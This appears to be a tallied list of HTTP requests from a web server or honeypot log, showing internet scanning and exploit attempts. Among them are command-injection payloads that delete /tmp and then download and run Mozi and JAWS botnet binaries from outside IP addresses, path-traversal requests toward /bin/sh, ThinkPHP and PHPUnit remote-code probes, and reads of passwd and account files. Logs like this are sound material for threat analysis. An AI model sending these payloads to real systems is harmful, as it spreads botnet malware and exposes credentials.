1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /System/configurationFile?auth=YWRtaW46MTEK HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /aaa9 HTTP/1.1
1 GET /aaaaaaaaaaaaaaaaaaaaaaaaaqr HTTP/1.1
1 GET /aab8 HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.html HTTP/1.1
1 GET /admin.jhtml HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.php HTTP/1.1
1 GET /admin.pl HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /admin/ HTTP/1.1
1 GET /agc/timeclock.php HTTP/1.1
1 GET /agent/timeclock.php HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.html HTTP/1.1
1 GET /base.inc HTTP/1.1
1 GET /base.jhtml HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.jsp HTTP/1.1
1 GET /base.php HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /base.shtml HTTP/1.1
1 GET /cgi-bin/downloadFlile.cgi HTTP/1.1
1 GET /client/get_targets HTTP/1.1
3 GET /config/getuser?index=0 HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /current_config/Account1 HTTP/1.1
1 GET /current_config/passwd HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.aspx HTTP/1.1
1 GET /default.cfm HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.jhtml HTTP/1.1
1 GET /default.jsa HTTP/1.1
1 GET /default.jsp HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /default.pl HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /etc/passwd%00 HTTP/1.1
1 GET /etc/passwd HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /gate.php HTTP/1.1
1 GET /home.asp HTTP/1.1
1 GET /home.aspx HTTP/1.1
1 GET /home.cfm HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /home.html HTTP/1.1
1 GET /home.jhtml HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.jsp HTTP/1.1
1 GET /home.php HTTP/1.1
1 GET /home.pl HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.aspx HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.cgi HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.jhtml HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.pl HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.aspx HTTP/1.1
1 GET /indice.cfm HTTP/1.1
1 GET /indice.cgi HTTP/1.1
1 GET /indice.html HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsa HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /indice.php HTTP/1.1
1 GET /indice.pl HTTP/1.1
1 GET /indice.shtml HTTP/1.1
1 GET /inicio.asp HTTP/1.1
1 GET /inicio.aspx HTTP/1.1
1 GET /inicio.cfm HTTP/1.1
1 GET /inicio.cgi HTTP/1.1
1 GET /inicio.html HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /inicio.jsa HTTP/1.1
1 GET /inicio.jsp HTTP/1.1
1 GET /inicio.php HTTP/1.1
1 GET /inicio.pl HTTP/1.1
1 GET /inicio.shtml HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.aspx HTTP/1.1
1 GET /localstart.cfm HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.html HTTP/1.1
1 GET /localstart.jhtml HTTP/1.1
1 GET /localstart.jsa HTTP/1.1
1 GET /localstart.jsp HTTP/1.1
1 GET /localstart.php HTTP/1.1
1 GET /localstart.pl HTTP/1.1
1 GET /localstart.shtml HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.cgi HTTP/1.1
1 GET /main.html HTTP/1.1
1 GET /main.jhtml HTTP/1.1
1 GET /main.jsa HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.php HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /main.shtml HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /menu.cgi HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jhtml HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.php HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /mnt/mtd/Config/Account1 HTTP/1.1
1 GET /nmaplowercheck1677077742 HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
5 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//175[.]107[.]0[.]73:60935/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
2 GET /shell?cd+/tmp;rm+-rf+*;wget+ 107.6.255.132/jaws;sh+/tmp/jaws
1 GET /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /start.asp HTTP/1.1
1 GET /start.aspx HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.cgi HTTP/1.1
1 GET /start.html HTTP/1.1
1 GET /start.jhtml HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /start.jsp HTTP/1.1
1 GET /start.php HTTP/1.1
1 GET /start.pl HTTP/1.1
1 GET /start.shtml HTTP/1.1
1 GET /sugar_version.json HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webfig/ HTTP/1.1
1 GET default.asp HTTP/1.1
4 GET http[:]//ip-api.com/json/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
7 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0